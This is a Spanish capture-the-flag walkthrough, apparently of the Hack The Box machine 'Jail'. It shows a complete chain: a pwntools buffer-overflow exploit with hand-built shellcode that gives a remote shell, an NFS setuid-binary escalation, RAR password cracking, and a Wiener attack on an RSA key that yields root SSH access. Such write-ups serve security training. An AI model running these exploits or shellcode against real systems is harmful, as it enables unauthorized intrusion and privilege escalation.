Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap
donde encontramos varios puertos abiertos, entre ellos el 80
que corre un servicio http
❯ nmap 10.10.10.34
Nmap scan report for 10.10.10.34
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
2049/tcp open nfs
7411/tcp open daqstream
20048/tcp open mountd
En la página principal nos encontramos un ascii art
que hace referencia al nombre
Para encontrar directorios en la web podemos aplicar fuerza bruta usando wfuzz
, despues de unos minutos un directorio devuelve otro codigo de estado, jailuser
❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.10.34/FUZZ -t 100 --hc 404
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.34/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000137562: 301 7 L 20 W 233 Ch "jailuser"
Al entrar a jailuser encontramos un directory listing con solo un directorio que es dev
, este contiene un codigo en c
, un script para compilarlo y el binario
compilado
Shell - nobody
Aunque el archivo jail.c
nos proporciona el código fuente utilizaremos ida
para desensamblar el binario ya que generalmente este no se tiene disponible, la función main
inicia llamando a socket
para crear un nuevo socket, luego a setsockotp
para establecer una opción de socket, todo esto controlando posibles excepciones
En el siguiente bloque se llama a htons
para darle el formato correcto al valor 7411
que es un puerto, luego llama a bind
y listen
para esperar una conexión en él
Podemos comprobarlo, después de ejecutar el binario podemos conectarnos con netcat
a ese puerto donde se nos piden credenciales
, pero no las conocemos
❯ netcat localhost 7411
OK Ready. Send USER command.
USER username
OK Send PASS command.
PASS password
ERR Authentication failed.
Después mediante un bucle recibe conexiones entrantes utilizando accept
y con fork
se crea un nuevo proceso hijo para cada conexión, si se crea correctamente llama a la función handle
pasando como argumento el nuevo descriptor
La función handle
inicia reservando memoria y llamando a dup2(s,1)
y dup2(s, 2)
, esto para redirigir el stdout
y stderr
al descriptor del socket del cliente
Luego lee 0x400
o 1024
bytes con read
, después utiliza strtok
para dividir los datos leidos, en el siguiente bloque compara que el valor del comando recibido no sea 0
, si no es 0
comprueba si ya se ha recibido un usuario anteriormente
Si aun no se ha recibido un usuario compara los primeros 5 bytes del comando con USER
, si no son iguales lo compara con PASS
, si nuevamente no son iguales lo compara con DEBUG
, esto se puede interpretar como el controlador para saber que hacer de acuerdo al comando recibido de acuerdo con los disponibles
En el caso de que los primeros 5
bytes sean iguales a USER
se copian los bytes a una variable que llamamos username
y se compara si password
ya tiene un valor, si aun no lo tiene se muestra un mensaje con puts
solicitnadolo y vuelve al bucle
Si los primeros 5
bytes son iguales a PASS
copia el valor a una variable llamada password
, luego compara si el campo username
tiene un valor si no lo tiene vuelve al bucle después del mensaje que solicita este valor mostrado con la función puts
En el caso de que los 5
bytes sean iguales a DEBUG
mueve un 1
o un 0
a la variable debugmode
, asi que si esta desactivado lo activa y si esta activo lo desactiva
Si los campos username
y password
ya cuentan con un valor llama a la función auth
pasandole ambos como argumentos por lo que deberia comprobar credenciales
La función auth
inicia comprobando si debugmode
esta activado, si es asi utiliza printf
para enviar un mensaje al socket que muestra la dirección de la variable dest
, si debugmode
no esta habilitado evita todo lo anterior y salta al siguiente bloque que compara la variable username
con la string admin
y hace un salto condicional
Si el usuario es admin
copia la variable password
a un buffer en ebp - 24
utilizando strcpy
y compara la variable dest
con la string 1974jailbreak!
, si alguno de los 2 valores es incorrecto muestra un mensaje y devuelve 0
, si son iguales devuelve 1
Si nos autenticamos correctamente nos pide un comando sin embargo no parece tener mucha utilidad, aunque esto es irrelevante ya que si analizamos el ultimo bloque al utilizar strcpy
mueve la contraseña a ebp - 24
por lo que si enviamos mas bytes deberiamos ocasionar un buffer overflow sobrescribiendo otros datos
❯ netcat localhost 7411
OK Ready. Send USER command.
USER admin
OK Send PASS command.
PASS 1974jailbreak!
OK Authentication success. Send command.
HELP
ERR Invalid command.
Mirando las protecciones del binario con checksec
vemos que no tiene ninguna
❯ checksec jail
[*] '/home/user/jail'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
Para comprobar la vulnerabilidad solo iniciamos corriendo el programa en gdb
❯ gdb -q jail
Reading symbols from jail...
(No debugging symbols found in jail)
pwndbg> run
Starting program: /home/user/jail
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
El buffer vulnerable inicia en ebp - 24
, para comprobarlo lo llenaremos con 24 A's
, luego 4 B's
que deberian sobreescribir el valor de ebp
y 4 C's
para el retorno
#!/usr/bin/pỳthon3
from pwn import remote
payload = b""
payload += b"A" * 24
payload += b"B" * 4
payload += b"C" * 4
payload += b"D" * 16
shell = remote("10.10.10.34", 7411)
shell.sendlineafter(b"command.\n", b"USER admin")
shell.sendlineafter(b"command.\n", b"PASS " + payload)
Al enviar el exploit comprobamos lo anterior, en ebp se guardan las B's
y el valor de retorno son las C's
, además las D's
se quedan almacenadas en el stack, como conclusión tenemos que el offset
para el puntero de retorno es de 28
bytes
pwndbg> run
Starting program: /home/user/jail
[Depuración de hilo usando libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Thread 2.1 "jail" received signal SIGSEGV, Segmentation fault.
[Cambiando a Thread 0xf7fc24c0 (LWP 27556)]
0x43434343 in ?? ()
pwndbg> p/x $ebp
$1 = 0x42424242
pwndbg> p/x $eip
$2 = 0x43434343
pwndbg> x/4wx $esp
0xffffcd80: 0x44444444 0x44444444 0x44444444 0x44444444
pwndbg>
Necesitamos conocer la dirección del shellcode para apuntar a el en el retorno, para ello podemos habilitar la función DEBUG
antes reverseada que en caso de estar habilitada mostraba la dirección de la variable de destino, escribimos esto en python
#!/usr/bin/pỳthon3
from pwn import remote, log
offset = 28
junk = b"A" * offset
ret = b"B" * 4
stack = b"C" * 16
payload = junk + ret + stack
shell = remote("127.0.0.1", 7411)
shell.sendlineafter(b"command.\n", b"DEBUG")
shell.sendlineafter(b"mode on.\n", b"USER admin")
shell.sendlineafter(b"command.\n", b"PASS " + payload)
shell.recvuntil(b"buffer @ ")
leak_addr = int(shell.recvline().strip().decode(), 16)
log.info(f"Leak addr: {hex(leak_addr)}")
Al ejecutar el script envia el payload y nos muestra la direccion 0xffffcf30
❯ python3 exploit.py
[+] Opening connection to 127.0.0.1 on port 7411: Done
[*] Leak addr: 0xffffcf30
[*] Closed connection to 127.0.0.1 port 7411
Volviendo a gdb
el programa corrompe y si miramos lo que hay en esa direccion, es la direccion donde inicia nuestro input donde estan las A's
, B's
y C's
pwndbg> run
Starting program: /home/user/jail
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
pwndbg> x/12wx 0xffffcf30
0xffffcf30: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffcf40: 0x41414141 0x41414141 0x41414141 0x42424242
0xffffcf50: 0x43434343 0x43434343 0x43434343 0x43434343
pwndbg>
Enviamos 28 A's
de basura y 4 B's
para sobreescribir el puntero por lo que la direccion donde inician las C's
deberia estar 32
bytes mas adelante del leak
pwndbg> p/x 0xffffcf30 + 32
$1 = 0xffffcf50
pwndbg> x/4wx 0xffffcf50
0xffffcf50: 0x43434343 0x43434343 0x43434343 0x43434343
pwndbg>
Si cambiamos el host
y corremos el exploit contra la máquina victima nos muestra la direccion 0xffffd610
que si le sumamos 32
o 0x20 nos da 0xffffd630
, esta es la direccion donde se guardaran las C's
cuando ejecutemos el exploit en remoto
❯ python3 exploit.py
[+] Opening connection to 10.10.10.34 on port 7411: Done
[*] Leak addr: 0xffffd610
[*] Closed connection to 10.10.10.34 port 7411
pwndbg> p/x 0xffffd610 + 32
$2 = 0xffffd630
pwndbg>
El tipo de shellcode que generalmente usariamos en este tipo de exploits simplemente llama a la función a execve
para ejecutar el comando /bin/sh
global _start
_start:
push 0xb ; execve()
pop eax ; $eax = execve()
push 0x68 ; "h"
push word 0x732f ; "/s"
push 0x6e69622f ; "/bin"
mov ebx, esp ; $ebx = "/bin/sh"
xor ecx, ecx ; $ecx = NULL
cdq ; $edx = NULL
int 0x80 ; syscall
❯ nasm -f elf shellcode.asm -o shellcode.o; ld shellcode.o -m elf_i386 -o shellcode
❯ objdump -d shellcode | grep '[0-9a-f]:' | grep -v 'shellcode' | cut -f2 -d: | cut -f1-6 -d ' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s
\x6a\x0b\x58\x6a\x68\x66\x68\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x99\xcd\x80
Sin embargo al usar shellcode no vemos ninguna clase de salida del comando
❯ python3 exploit.py
[+] Opening connection to 10.10.10.34 on port 7411: Done
[*] Switching to interactive mode
$ id
$
La solución es simple, usar dup2(2,0)
para redirigir el stdin
al descriptor del socket
global _start
_start:
push 0x2 ; 2
pop ebx ; $ebx = 2
xor ecx, ecx ; $ecx = 0
push 0x3f ; dup2()
pop eax ; $eax = dup2()
int 0x80 ; syscall
push 0xb ; execve()
pop eax ; $eax = execve()
push 0x68 ; "h"
push word 0x732f ; "/s"
push 0x6e69622f ; "/bin"
mov ebx, esp ; $ebx = "/bin/sh"
xor ecx, ecx ; $ecx = NULL
cdq ; $edx = NULL
int 0x80 ; syscall
❯ nasm -f elf shellcode.asm -o shellcode.o; ld shellcode.o -m elf_i386 -o shellcode
❯ objdump -d shellcode | grep '[0-9a-f]:' | grep -v 'shellcode' | cut -f2 -d: | cut -f1-6 -d ' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s
\x6a\x02\x5b\x31\xc9\x6a\x3f\x58\xcd\x80\x6a\x0b\x58\x6a\x68\x66\x68\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x99\xcd\x80
El exploit final enviara basura hasta antes del retorno que apuntara al shellcode del que calculamos su direccion con el leak
, al hacerlo intepretarse nos dara una shell
#!/usr/bin/pỳthon3
from pwn import remote, p32
offset = 28
junk = b"A" * offset
addr = p32(0xffffd630)
shellcode = b"\x6a\x02\x5b\x31\xc9\x6a\x3f\x58\xcd\x80\x6a\x0b\x58\x6a\x68\x66\x68\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x99\xcd\x80"
payload = junk + addr + shellcode
shell = remote("10.10.10.34", 7411)
shell.sendlineafter(b"command.\n", b"USER admin")
shell.sendlineafter(b"command.\n", b"PASS " + payload)
shell.interactive()
Ejecutamos el exploit remoto y conseguimos una shell como el usuario nobody
❯ python3 exploit.py
[+] Opening connection to 10.10.10.34 on port 7411: Done
[*] Switching to interactive mode
$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody)
$ hostname -I
10.10.10.34
$
Otra forma de llegar al shellcode si no tuvieramos el leak
es usando un gadget que salte al stack, en este caso con ropper
encontramos uno que ejecuta un call esp
❯ ropper --file jail --jmp esp
JMP Instructions
================
0x0804910f: call esp;
1 gadgets found
El exploit final es exactamente igual solo cambiando la direccion
por la del gadget
#!/usr/bin/pỳthon3
from pwn import remote, p32
offset = 28
junk = b"A" * offset
callesp = p32(0x0804910f)
shellcode = b"\x6a\x02\x5b\x31\xc9\x6a\x3f\x58\xcd\x80\x6a\x0b\x58\x6a\x68\x66\x68\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x99\xcd\x80"
payload = junk + callesp + shellcode
shell = remote("10.10.10.34", 7411)
shell.sendlineafter(b"command.\n", b"USER admin")
shell.sendlineafter(b"command.\n", b"PASS " + payload)
shell.interactive()
Ejecutamos el exploit remoto y conseguimos una shell como el usuario nobody
❯ python3 exploit.py
[+] Opening connection to 10.10.10.34 on port 7411: Done
[*] Switching to interactive mode
$ id
uid=99(nobody) gid=99(nobody) groups=99(nobody)
$ hostname -I
10.10.10.34
$
Shell - frank
Para tener un prompt mas descriptivo podemos ejecutar una bash
y cargar el .bashrc
$ script /dev/null -c bash
$ source /etc/skel/.bashrc
[nobody@localhost /]$ $
El puerto de nfs
esta abierto, mirando la configuracion encontramos la flag no_all_squash
que indica que si el identificador de mi usuario local user
es 1000
en el equipo jail los datos seran del mismo identificador 1000
que es frank
[nobody@localhost /]$ $ cat /etc/exports
/var/nfsshare *(rw,sync,root_squash,no_all_squash)
/opt *(rw,sync,root_squash,no_all_squash)
[nobody@localhost /]$ $
Iniciamos creando una montura en /mnt
con el recurso compartido en /var/nfsshare
❯ showmount -e 10.10.10.34
Export list for 10.10.10.34:
/opt *
/var/nfsshare *
❯ sudo mount 10.10.10.34:/var/nfsshare /mnt
Debido a la configuracion si escribimos un archivo en /mnt/test
este se vera reflejado en el equipo bajo la ruta /var/nfsshare/test
con el id 1000 de frank
❯ ls -ld /mnt
drwx-wx--x root user 6 B Mon Jul 3 23:33:56 2017 /mnt
❯ touch /mnt/test
[nobody@localhost /]$ $ ls -l /var/nfsshare/test
-rw-r--r--. 1 frank frank 0 Nov 28 18:28 /var/nfsshare/test
[nobody@localhost /]$ $
La explotacion es simple, crear un compilado que cambie nuestro uid/gid a 1000
y nos otorgue una shell, copiarlo a la montura y asignarles permisos suid
y sgid
#include <stdlib.h>
#include <unistd.h>
int main() {
setreuid(1000, 1000);
setregid(1000, 1000);
system("/bin/bash");
return 0;
}
❯ gcc -static shell.c -o shell
❯ cp shell /mnt
❯ chmod ug+s /mnt/shell
Al ejecutarlo desde la shell de nobody y el binario ser suid/sgid
del identificador 1000 que en el equipo es frank
nos otorga una shell como este y leemos la flag
[nobody@localhost /]$ $ /var/nfsshare/shell
[frank@localhost /]$ $ id
uid=1000(frank) gid=1000(frank) groups=1000(frank)
[frank@localhost /]$ $ hostname -I
10.10.10.34
[frank@localhost /]$ $ cat /home/frank/user.txt
feb**************************7cc
[frank@localhost /]$ $
Para obtener una shell
mas estable podemos escribir nuestra clave publica como autorizada en el directorio .ssh
de frank para asi conectarnos sin usar contraseña
[frank@localhost /]$ $ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHJkHdh26fDO0wZqVbBRvzXh2zSSqUyQG8TyIcPU05yf user@ubuntu" > /home/frank/.ssh/authorized_keys
[frank@localhost /]$ $
❯ ssh frank@10.10.10.34
[frank@localhost ~]$ id
uid=1000(frank) gid=1000(frank) grupos=1000(frank)
[frank@localhost ~]$ hostname -I
10.10.10.34
[frank@localhost ~]$ cat user.txt
feb**************************7cc
[frank@localhost ~]$
Shell - root
En el directorio personal de adm encontramos un directorio .keys
que contiene un archivo keys.rar
, un archivo de texto note.txt
y un directorio oculto .local
[adm@localhost ~]$ ls -la
drwxr-x---. 3 root adm 19 jul 3 2017 .
drwxr-xr-x. 23 root root 4096 nov 28 17:01 ..
drwxr-x---. 3 root adm 52 jul 3 2017 .keys
[adm@localhost ~]$ cd .keys
[adm@localhost .keys]$ ls -la
drwxr-x---. 3 root adm 52 jul 3 2017 .
drwxr-x---. 3 root adm 19 jul 3 2017 ..
-rw-r-----. 1 root adm 475 jul 3 2017 keys.rar
drwxr-x---. 2 root adm 20 jul 3 2017 .local
-rw-r-----. 1 root adm 154 jul 3 2017 note.txt
[adm@localhost .keys]$
La nota es del administrador, pide a frank
que la contraseña para cifrar tenga un formato muy especifico, este es su apellido
seguido de 4 digitos
y un simbolo
[adm@localhost .keys]$ cat note.txt
Note from Administrator:
Frank, for the last time, your password for anything encrypted must be your last name followed by a 4 digit number and a symbol.
[adm@localhost .keys]$
Dentro del directorio .local encontramos un archivo llamado .frank
que es ilegible
[adm@localhost .local]$ ls -la
drwxr-x---. 2 root adm 20 jul 3 2017 .
drwxr-x---. 3 root adm 52 jul 3 2017 ..
-rw-r-----. 1 root adm 113 jul 3 2017 .frank
[adm@localhost .local]$ cat .frank
Szszsz! Mlylwb droo tfvhh nb mvd kzhhdliw! Lmob z uvd ofxpb hlfoh szev Vhxzkvw uiln Zoxzgiza zorev orpv R wrw!!!
[adm@localhost .local]$
Parece un cifrado por sustitución por lo que con quipqiup logramos leer el mensaje, donde nos dice que solo unas pocas personas han escapado vivas de Alcatraz
Investigando con esas palabras clave llegamos a saber de Frank Morris
, un criminal que escapón de la prisón de Alcatraz
en el año de 1962
, tal vez tiene algo que ver
Siguiendo el formato de la nota podemos decir que el apellido es Morris
, 4 digitos pueden ser el año que escapo 1962
y para el caracter especial podemos crear un diccionario con crunch
que cree todas las combinaciones posibles con ese patron
❯ crunch 11 11 -t Morris1962^ -o wordlist.txt
Crunch will now generate the following amount of data: 396 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 33
crunch: 100% completed generating output
Usando john
podemos crear un hash para el rar
y usando nuestro diccionario personalizado logramos encontrar la contraseña para decifrarlo que es Morris1962!
❯ rar2john keys.rar > hash
❯ john -w:wordlist.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (rar, RAR3 [SHA1 128/128 XOP 4x2 AES])
Press 'q' or Ctrl-C to abort, almost any other key for status
Morris1962! (keys.rar)
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Ya con la contraseña podemos descomprimir el archivo usando unrar
y obtener asi el unico archivo dentro, este parece ser una clave rsa
publica bastante pequeña
❯ unrar e keys.rar
UNRAR 7.00 beta 1 freeware Copyright (c) 1993-2023 Alexander Roshal
Extracting from keys.rar
Enter password (will not be echoed) for rootauthorizedsshkey.pub: Morris1962!
Extracting rootauthorizedsshkey.pub OK
All OK
❯ cat rootauthorizedsshkey.pub
-----BEGIN PUBLIC KEY-----
MIIBIDANBgkqhkiG9w0BAQEFAAOCAQ0AMIIBCAKBgQYHLL65S3kVbhZ6kJnpf072
YPH4Clvxj/41tzMVp/O3PCRVkDK/CpfBCS5PQV+mAcghLpSzTnFUzs69Ys466M//
DmcIo1pJGKy8LDrwdpsSjVmvSgg39nCoOYMiAUVF0T0c47eUCmBloX/K8QjId6Pd
D/qlaFM8B87MHZlW1fqe6QKBgQVY7NdIxerjKu5eOsRE8HTDAw9BLYUyoYeAe4/w
Wt2/7A1Xgi5ckTFMG5EXhfv67GfCFE3jCpn2sd5e6zqBoKlHwAk52w4jSihdzGAx
I85LArqOGc6QoVPS7jx5h5bK/3Oqm3siimo8O1BJ+mKGy9Owg9oZhBl28CfRyFug
a99GCw==
-----END PUBLIC KEY-----
La clave publica es bastante pequeña por lo que usando RsaCtfTool
logramos computar la clave privada que es probable que sea la id_rsa
autorizada de root
❯ RsaCtfTool --publickey rootauthorizedsshkey.pub --private --attack wiener --output id_rsa
[*] Testing key rootauthorizedsshkey.pub.
[*] Performing wiener attack on rootauthorizedsshkey.pub.
25%|██████████▊ | 154/612 [36628.83it/s]
[*] Attack success with wiener method !
Results for rootauthorizedsshkey.pub:
Private key :
-----BEGIN RSA PRIVATE KEY-----
MIICOgIBAAKBgQYHLL65S3kVbhZ6kJnpf072YPH4Clvxj/41tzMVp/O3PCRVkDK/
CpfBCS5PQV+mAcghLpSzTnFUzs69Ys466M//DmcIo1pJGKy8LDrwdpsSjVmvSgg3
9nCoOYMiAUVF0T0c47eUCmBloX/K8QjId6PdD/qlaFM8B87MHZlW1fqe6QKBgQVY
7NdIxerjKu5eOsRE8HTDAw9BLYUyoYeAe4/wWt2/7A1Xgi5ckTFMG5EXhfv67GfC
FE3jCpn2sd5e6zqBoKlHwAk52w4jSihdzGAxI85LArqOGc6QoVPS7jx5h5bK/3Oq
m3siimo8O1BJ+mKGy9Owg9oZhBl28CfRyFuga99GCwIgCMdb8cTpq+uOUyIK2Jrg
PNxrCGF8HNhw8qT9jCez3aMCQQHBKGne1ibAwbqvPTd91cBUKfFYYIAY9a6/Iy56
XnGBS35kpKZB7j5dMZxxOwPDowgZr9aGNAzcFAeCaP5jj3DhAkEDb4p9D5gqgSOc
NXdU4KxzvZeBQn3IUyDbJ0J4pniHZzrYq9c6MiT1Z9KHfMkYGozyMd16Qyx4/Isf
bc51aYmHCQIgCMdb8cTpq+uOUyIK2JrgPNxrCGF8HNhw8qT9jCez3aMCIAjHW/HE
6avrjlMiCtia4DzcawhhfBzYcPKk/Ywns92jAkEBZ7eXqfWhxUbK7HsKf9IkmRRi
hxnHNiRzKhXgV4umYdzDsQ6dPPBnzzMWkB7SOE5rxabZzkAinHK3eZ3HsMsC8Q==
-----END RSA PRIVATE KEY-----
Ya con la clave privada de root
podemos conectarnos y aunque nos da un error con una busqueda rapida lo solucionamos y ganamos acceso como el usuario root
❯ ssh root@10.10.10.34 -i id_rsa
sign_and_send_pubkey: no mutual signature supported
root@10.10.10.34's password:
❯ ssh root@10.10.10.34 -i id_rsa -o PubkeyAcceptedKeyTypes=ssh-rsa
[root@localhost ~]# id
uid=0(root) gid=0(root) grupos=0(root)
[root@localhost ~]# hostname -I
10.10.10.34
[root@localhost ~]# cat root.txt
c87**************************806
[root@localhost ~]#